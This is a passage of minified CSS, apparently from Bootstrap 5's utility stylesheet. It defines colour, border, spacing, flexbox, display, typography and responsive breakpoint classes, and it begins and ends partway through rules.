0%}}.clearfix::after{display:block;clear:both;content:""}.text-bg-primary{color:#fff!important;background-color:RGBA(13,110,253,var(--bs-bg-opacity,1))!important}.text-bg-secondary{color:#fff!important;background-color:RGBA(108,117,125,var(--bs-bg-opacity,1))!important}.text-bg-success{color:#fff!important;background-color:RGBA(25,135,84,var(--bs-bg-opacity,1))!important}.text-bg-info{color:#000!important;background-color:RGBA(13,202,240,var(--bs-bg-opacity,1))!important}.text-bg-warning{color:#000!important;background-color:RGBA(255,193,7,var(--bs-bg-opacity,1))!important}.text-bg-danger{color:#fff!important;background-color:RGBA(220,53,69,var(--bs-bg-opacity,1))!important}.text-bg-light{color:#000!important;background-color:RGBA(248,249,250,var(--bs-bg-opacity,1))!important}.text-bg-dark{color:#fff!important;background-color:RGBA(33,37,41,var(--bs-bg-opacity,1))!important}.link-primary{color:#0d6efd!important}.link-primary:focus,.link-primary:hover{color:#0a58ca!important}.link-secondary{color:#6c757d!important}.link-secondary:focus,.link-secondary:hover{color:#565e64!important}.link-success{color:#198754!important}.link-success:focus,.link-success:hover{color:#146c43!important}.link-info{color:#0dcaf0!important}.link-info:focus,.link-info:hover{color:#3dd5f3!important}.link-warning{color:#ffc107!important}.link-warning:focus,.link-warning:hover{color:#ffcd39!important}.link-danger{color:#dc3545!important}.link-danger:focus,.link-danger:hover{color:#b02a37!important}.link-light{color:#f8f9fa!important}.link-light:focus,.link-light:hover{color:#f9fafb!important}.link-dark{color:#212529!important}.link-dark:focus,.link-dark:hover{color:#1a1e21!important}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio:100%}.ratio-4x3{--bs-aspect-ratio:75%}.ratio-16x9{--bs-aspect-ratio:56.25%}.ratio-21x9{--bs-aspect-ratio:42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}@media (min-width:576px){.sticky-sm-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:768px){.sticky-md-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:992px){.sticky-lg-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1200px){.sticky-xl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1400px){.sticky-xxl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){position:absolute!important;width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:1px;min-height:1em;background-color:currentcolor;opacity:.25}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.float-start{float:left!important}.float-end{float:right!important}.float-none{float:none!important}.opacity-0{opacity:0!important}.opacity-25{opacity:.25!important}.opacity-50{opacity:.5!important}.opacity-75{opacity:.75!important}.opacity-100{opacity:1!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-grid{display:grid!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}.d-none{display:none!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.top-0{top:0!important}.top-50{top:50%!important}.top-100{top:100%!important}.bottom-0{bottom:0!important}.bottom-50{bottom:50%!important}.bottom-100{bottom:100%!important}.start-0{left:0!important}.start-50{left:50%!important}.start-100{left:100%!important}.end-0{right:0!important}.end-50{right:50%!important}.end-100{right:100%!important}.translate-middle{transform:translate(-50%,-50%)!important}.translate-middle-x{transform:translateX(-50%)!important}.translate-middle-y{transform:translateY(-50%)!important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-0{border:0!important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-top-0{border-top:0!important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-end-0{border-right:0!important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-bottom-0{border-bottom:0!important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-start-0{border-left:0!important}.border-primary{--bs-border-opacity:1;border-color:rgba(var(--bs-primary-rgb),var(--bs-border-opacity))!important}.border-secondary{--bs-border-opacity:1;border-color:rgba(var(--bs-secondary-rgb),var(--bs-border-opacity))!important}.border-success{--bs-border-opacity:1;border-color:rgba(var(--bs-success-rgb),var(--bs-border-opacity))!important}.border-info{--bs-border-opacity:1;border-color:rgba(var(--bs-info-rgb),var(--bs-border-opacity))!important}.border-warning{--bs-border-opacity:1;border-color:rgba(var(--bs-warning-rgb),var(--bs-border-opacity))!important}.border-danger{--bs-border-opacity:1;border-color:rgba(var(--bs-danger-rgb),var(--bs-border-opacity))!important}.border-light{--bs-border-opacity:1;border-color:rgba(var(--bs-light-rgb),var(--bs-border-opacity))!important}.border-dark{--bs-border-opacity:1;border-color:rgba(var(--bs-dark-rgb),var(--bs-border-opacity))!important}.border-white{--bs-border-opacity:1;border-color:rgba(var(--bs-white-rgb),var(--bs-border-opacity))!important}.border-1{--bs-border-width:1px}.border-2{--bs-border-width:2px}.border-3{--bs-border-width:3px}.border-4{--bs-border-width:4px}.border-5{--bs-border-width:5px}.border-opacity-10{--bs-border-opacity:0.1}.border-opacity-25{--bs-border-opacity:0.25}.border-opacity-50{--bs-border-opacity:0.5}.border-opacity-75{--bs-border-opacity:0.75}.border-opacity-100{--bs-border-opacity:1}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.mw-100{max-width:100%!important}.vw-100{width:100vw!important}.min-vw-100{min-width:100vw!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mh-100{max-height:100%!important}.vh-100{height:100vh!important}.min-vh-100{min-height:100vh!important}.flex-fill{flex:1 1 auto!important}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.justify-content-evenly{justify-content:space-evenly!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}.order-first{order:-1!important}.order-0{order:0!important}.order-1{order:1!important}.order-2{order:2!important}.order-3{order:3!important}.order-4{order:4!important}.order-5{order:5!important}.order-last{order:6!important}.m-0{margin:0!important}.m-1{margin:.25rem!important}.m-2{margin:.5rem!important}.m-3{margin:1rem!important}.m-4{margin:1.5rem!important}.m-5{margin:3rem!important}.m-auto{margin:auto!important}.mx-0{margin-right:0!important;margin-left:0!important}.mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-3{margin-right:1rem!important;margin-left:1rem!important}.mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-5{margin-right:3rem!important;margin-left:3rem!important}.mx-auto{margin-right:auto!important;margin-left:auto!important}.my-0{margin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-0{margin-top:0!important}.mt-1{margin-top:.25rem!important}.mt-2{margin-top:.5rem!important}.mt-3{margin-top:1rem!important}.mt-4{margin-top:1.5rem!important}.mt-5{margin-top:3rem!important}.mt-auto{margin-top:auto!important}.me-0{margin-right:0!important}.me-1{margin-right:.25rem!important}.me-2{margin-right:.5rem!important}.me-3{margin-right:1rem!important}.me-4{margin-right:1.5rem!important}.me-5{margin-right:3rem!important}.me-auto{margin-right:auto!important}.mb-0{margin-bottom:0!important}.mb-1{margin-bottom:.25rem!important}.mb-2{margin-bottom:.5rem!important}.mb-3{margin-bottom:1rem!important}.mb-4{margin-bottom:1.5rem!important}.mb-5{margin-bottom:3rem!important}.mb-auto{margin-bottom:auto!important}.ms-0{margin-left:0!important}.ms-1{margin-left:.25rem!important}.ms-2{margin-left:.5rem!important}.ms-3{margin-left:1rem!important}.ms-4{margin-left:1.5rem!important}.ms-5{margin-left:3rem!important}.ms-auto{margin-left:auto!important}.p-0{padding:0!important}.p-1{padding:.25rem!important}.p-2{padding:.5rem!important}.p-3{padding:1rem!important}.p-4{padding:1.5rem!important}.p-5{padding:3rem!important}.px-0{padding-right:0!important;padding-left:0!important}.px-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-3{padding-right:1rem!important;padding-left:1rem!important}.px-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-5{padding-right:3rem!important;padding-left:3rem!important}.py-0{padding-top:0!important;padding-bottom:0!important}.py-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-0{padding-top:0!important}.pt-1{padding-top:.25rem!important}.pt-2{padding-top:.5rem!important}.pt-3{padding-top:1rem!important}.pt-4{padding-top:1.5rem!important}.pt-5{padding-top:3rem!important}.pe-0{padding-right:0!important}.pe-1{padding-right:.25rem!important}.pe-2{padding-right:.5rem!important}.pe-3{padding-right:1rem!important}.pe-4{padding-right:1.5rem!important}.pe-5{padding-right:3rem!important}.pb-0{padding-bottom:0!important}.pb-1{padding-bottom:.25rem!important}.pb-2{padding-bottom:.5rem!important}.pb-3{padding-bottom:1rem!important}.pb-4{padding-bottom:1.5rem!important}.pb-5{padding-bottom:3rem!important}.ps-0{padding-left:0!important}.ps-1{padding-left:.25rem!important}.ps-2{padding-left:.5rem!important}.ps-3{padding-left:1rem!important}.ps-4{padding-left:1.5rem!important}.ps-5{padding-left:3rem!important}.gap-0{gap:0!important}.gap-1{gap:.25rem!important}.gap-2{gap:.5rem!important}.gap-3{gap:1rem!important}.gap-4{gap:1.5rem!important}.gap-5{gap:3rem!important}.font-monospace{font-family:var(--bs-font-monospace)!important}.fs-1{font-size:calc(1.375rem + 1.5vw)!important}.fs-2{font-size:calc(1.325rem + .9vw)!important}.fs-3{font-size:calc(1.3rem + .6vw)!important}.fs-4{font-size:calc(1.275rem + .3vw)!important}.fs-5{font-size:1.25rem!important}.fs-6{font-size:1rem!important}.fst-italic{font-style:italic!important}.fst-normal{font-style:normal!important}.fw-light{font-weight:300!important}.fw-lighter{font-weight:lighter!important}.fw-normal{font-weight:400!important}.fw-bold{font-weight:700!important}.fw-semibold{font-weight:600!important}.fw-bolder{font-weight:bolder!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!important}.lh-lg{line-height:2!important}.text-start{text-align:left!important}.text-end{text-align:right!important}.text-center{text-align:center!important}.text-decoration-none{text-decoration:none!important}.text-decoration-underline{text-decoration:underline!important}.text-decoration-line-through{text-decoration:line-through!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-break{word-wrap:break-word!important;word-break:break-word!important}.text-primary{--bs-text-opacity:1;color:rgba(var(--bs-primary-rgb),var(--bs-text-opacity))!important}.text-secondary{--bs-text-opacity:1;color:rgba(var(--bs-secondary-rgb),var(--bs-text-opacity))!important}.text-success{--bs-text-opacity:1;color:rgba(var(--bs-success-rgb),var(--bs-text-opacity))!important}.text-info{--bs-text-opacity:1;color:rgba(var(--bs-info-rgb),var(--bs-text-opacity))!important}.text-warning{--bs-text-opacity:1;color:rgba(var(--bs-warning-rgb),var(--bs-text-opacity))!important}.text-danger{--bs-text-opacity:1;color:rgba(var(--bs-danger-rgb),var(--bs-text-opacity))!important}.text-light{--bs-text-opacity:1;color:rgba(var(--bs-light-rgb),var(--bs-text-opacity))!important}.text-dark{--bs-text-opacity:1;color:rgba(var(--bs-dark-rgb),var(--bs-text-opacity))!important}.text-black{--bs-text-opacity:1;color:rgba(var(--bs-black-rgb),var(--bs-text-opacity))!important}.text-white{--bs-text-opacity:1;color:rgba(var(--bs-white-rgb),var(--bs-text-opacity))!important}.text-body{--bs-text-opacity:1;color:rgba(var(--bs-body-color-rgb),var(--bs-text-opacity))!important}.text-muted{--bs-text-opacity:1;color:#6c757d!important}.text-black-50{--bs-text-opacity:1;color:rgba(0,0,0,.5)!important}.text-white-50{--bs-text-opacity:1;color:rgba(255,255,255,.5)!important}.text-reset{--bs-text-opacity:1;color:inherit!important}.text-opacity-25{--bs-text-opacity:0.25}.text-opacity-50{--bs-text-opacity:0.5}.text-opacity-75{--bs-text-opacity:0.75}.text-opacity-100{--bs-text-opacity:1}.bg-primary{--bs-bg-opacity:1;background-color:rgba(var(--bs-primary-rgb),var(--bs-bg-opacity))!important}.bg-secondary{--bs-bg-opacity:1;background-color:rgba(var(--bs-secondary-rgb),var(--bs-bg-opacity))!important}.bg-success{--bs-bg-opacity:1;background-color:rgba(var(--bs-success-rgb),var(--bs-bg-opacity))!important}.bg-info{--bs-bg-opacity:1;background-color:rgba(var(--bs-info-rgb),var(--bs-bg-opacity))!important}.bg-warning{--bs-bg-opacity:1;background-color:rgba(var(--bs-warning-rgb),var(--bs-bg-opacity))!important}.bg-danger{--bs-bg-opacity:1;background-color:rgba(var(--bs-danger-rgb),var(--bs-bg-opacity))!important}.bg-light{--bs-bg-opacity:1;background-color:rgba(var(--bs-light-rgb),var(--bs-bg-opacity))!important}.bg-dark{--bs-bg-opacity:1;background-color:rgba(var(--bs-dark-rgb),var(--bs-bg-opacity))!important}.bg-black{--bs-bg-opacity:1;background-color:rgba(var(--bs-black-rgb),var(--bs-bg-opacity))!important}.bg-white{--bs-bg-opacity:1;background-color:rgba(var(--bs-white-rgb),var(--bs-bg-opacity))!important}.bg-body{--bs-bg-opacity:1;background-color:rgba(var(--bs-body-bg-rgb),var(--bs-bg-opacity))!important}.bg-transparent{--bs-bg-opacity:1;background-color:transparent!important}.bg-opacity-10{--bs-bg-opacity:0.1}.bg-opacity-25{--bs-bg-opacity:0.25}.bg-opacity-50{--bs-bg-opacity:0.5}.bg-opacity-75{--bs-bg-opacity:0.75}.bg-opacity-100{--bs-bg-opacity:1}.bg-gradient{background-image:var(--bs-gradient)!important}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;user-select:none!important}.pe-none{pointer-events:none!important}.pe-auto{pointer-events:auto!important}.rounded{border-radius:var(--bs-border-radius)!important}.rounded-0{border-radius:0!important}.rounded-1{border-radius:var(--bs-border-radius-sm)!important}.rounded-2{border-radius:var(--bs-border-radius)!important}.rounded-3{border-radius:var(--bs-border-radius-lg)!important}.rounded-4{border-radius:var(--bs-border-radius-xl)!important}.rounded-5{border-radius:var(--bs-border-radius-2xl)!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:var(--bs-border-radius-pill)!important}.rounded-top{border-top-left-radius:var(--bs-border-radius)!important;border-top-right-radius:var(--bs-border-radius)!important}.rounded-end{border-top-right-radius:var(--bs-border-radius)!important;border-bottom-right-radius:var(--bs-border-radius)!important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius)!important;border-bottom-left-radius:var(--bs-border-radius)!important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius)!important;border-top-left-radius:var(--bs-border-radius)!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media (min-width:576px){.float-sm-start{float:left!important}.float-sm-end{float:right!important}.float-sm-none{float:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-grid{display:grid!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}.d-sm-none{display:none!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.justify-content-sm-evenly{justify-content:space-evenly!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}.order-sm-first{order:-1!important}.order-sm-0{order:0!important}.order-sm-1{order:1!important}.order-sm-2{order:2!important}.order-sm-3{order:3!important}.order-sm-4{order:4!important}.order-sm-5{order:5!important}.order-sm-last{order:6!important}.m-sm-0{margin:0!important}.m-sm-1{margin:.25rem!important}.m-sm-2{margin:.5rem!important}.m-sm-3{margin:1rem!important}.m-sm-4{margin:1.5rem!important}.m-sm-5{margin:3rem!important}.m-sm-auto{margin:auto!important}.mx-sm-0{margin-right:0!important;margin-left:0!important}.mx-sm-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-sm-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-sm-3{margin-right:1rem!important;margin-left:1rem!important}.mx-sm-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-sm-5{margin-right:3rem!important;margin-left:3rem!important}.mx-sm-auto{margin-right:auto!important;margin-left:auto!important}.my-sm-0{margin-top:0!important;margin-bottom:0!important}.my-sm-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-sm-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-sm-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-sm-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-sm-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-sm-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-sm-0{margin-top:0!important}.mt-sm-1{margin-top:.25rem!important}.mt-sm-2{margin-top:.5rem!important}.mt-sm-3{margin-top:1rem!important}.mt-sm-4{margin-top:1.5rem!important}.mt-sm-5{margin-top:3rem!important}.mt-sm-auto{margin-top:auto!important}.me-sm-0{margin-right:0!important}.me-sm-1{margin-right:.25rem!important}.me-sm-2{margin-right:.5rem!important}.me-sm-3{margin-right:1rem!important}.me-sm-4{margin-right:1.5rem!important}.me-sm-5{margin-right:3rem!important}.me-sm-auto{margin-right:auto!important}.mb-sm-0{margin-bottom:0!important}.mb-sm-1{margin-bottom:.25rem!important}.mb-sm-2{margin-bottom:.5rem!important}.mb-sm-3{margin-bottom:1rem!important}.mb-sm-4{margin-bottom:1.5rem!important}.mb-sm-5{margin-bottom:3rem!important}.mb-sm-auto{margin-bottom:auto!important}.ms-sm-0{margin-left:0!important}.ms-sm-1{margin-left:.25rem!important}.ms-sm-2{margin-left:.5rem!important}.ms-sm-3{margin-left:1rem!important}.ms-sm-4{margin-left:1.5rem!important}.ms-sm-5{margin-left:3rem!important}.ms-sm-auto{margin-left:auto!important}.p-sm-0{padding:0!important}.p-sm-1{padding:.25rem!important}.p-sm-2{padding:.5rem!important}.p-sm-3{padding:1rem!important}.p-sm-4{padding:1.5rem!important}.p-sm-5{padding:3rem!important}.px-sm-0{padding-right:0!important;padding-left:0!important}.px-sm-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-sm-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-sm-3{padding-right:1rem!important;padding-left:1rem!important}.px-sm-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-sm-5{padding-right:3rem!important;padding-left:3rem!important}.py-sm-0{padding-top:0!important;padding-bottom:0!important}.py-sm-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-sm-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-sm-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-sm-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-sm-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-sm-0{padding-top:0!important}.pt-sm-1{padding-top:.25rem!important}.pt-sm-2{padding-top:.5rem!important}.pt-sm-3{padding-top:1rem!important}.pt-sm-4{padding-top:1.5rem!important}.pt-sm-5{padding-top:3rem!important}.pe-sm-0{padding-right:0!important}.pe-sm-1{padding-right:.25rem!important}.pe-sm-2{padding-right:.5rem!important}.pe-sm-3{padding-right:1rem!important}.pe-sm-4{padding-right:1.5rem!important}.pe-sm-5{padding-right:3rem!important}.pb-sm-0{padding-bottom:0!important}.pb-sm-1{padding-bottom:.25rem!important}.pb-sm-2{padding-bottom:.5rem!important}.pb-sm-3{padding-bottom:1rem!important}.pb-sm-4{padding-bottom:1.5rem!important}.pb-sm-5{padding-bottom:3rem!important}.ps-sm-0{padding-left:0!important}.ps-sm-1{padding-left:.25rem!important}.ps-sm-2{padding-left:.5rem!important}.ps-sm-3{padding-left:1rem!important}.ps-sm-4{padding-left:1.5rem!important}.ps-sm-5{padding-left:3rem!important}.gap-sm-0{gap:0!important}.gap-sm-1{gap:.25rem!important}.gap-sm-2{gap:.5rem!important}.gap-sm-3{gap:1rem!important}.gap-sm-4{gap:1.5rem!important}.gap-sm-5{gap:3rem!important}.text-sm-start{text-align:left!important}.text-sm-end{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.float-md-start{float:left!important}.float-md-end{float:right!important}.float-md-none{float:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-grid{display:grid!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}.d-md-none{display:none!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.justify-content-md-evenly{justify-content:space-evenly!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}.order-md-first{order:-1!important}.order-md-0{order:0!important}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{margin:.5rem!important}.m-md-3{margin:1rem!important}.m-md-4{margin:1.5rem!important}.m-md-5{margin:3rem!important}.m-md-auto{margin:auto!important}.mx-md-0{margin-right:0!important;margin-left:0!important}.mx-md-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-md-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-md-3{margin-right:1rem!important;margin-left:1rem!important}.mx-md-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-md-5{margin-right:3rem!important;margin-left:3rem!important}.mx-md-auto{margin-right:auto!important;margin-left:auto!important}.my-md-0{margin-top:0!important;margin-bottom:0!important}.my-md-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-md-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-md-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-md-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-md-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-md-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-md-0{margin-top:0!important}.mt-md-1{margin-top:.25rem!important}.mt-md-2{margin-top:.5rem!important}.mt-md-3{margin-top:1rem!important}.mt-md-4{margin-top:1.5rem!important}.mt-md-5{margin-top:3rem!important}.mt-md-auto{margin-top:auto!important}.me-md-0{margin-right:0!important}.me-md-1{margin-right:.25rem!important}.me-md-2{margin-right:.5rem!important}.me-md-3{margin-right:1rem!important}.me-md-4{margin-right:1.5rem!important}.me-md-5{margin-right:3rem!important}.me-md-auto{margin-right:auto!important}.mb-md-0{margin-bottom:0!important}.mb-md-1{margin-bottom:.25rem!important}.mb-md-2{margin-bottom:.5rem!important}.mb-md-3{margin-bottom:1rem!important}.mb-md-4{margin-bottom:1.5rem!important}.mb-md-5{margin-bottom:3rem!important}.mb-md-auto{margin-bottom:auto!important}.ms-md-0{margin-left:0!important}.ms-md-1{margin-left:.25rem!important}.ms-md-2{margin-left:.5rem!important}.ms-md-3{margin-left:1rem!important}.ms-md-4{margin-left:1.5rem!important}.ms-md-5{margin-left:3rem!important}.ms-md-auto{margin-left:auto!important}.p-md-0{padding:0!important}.p-md-1{padding:.25rem!important}.p-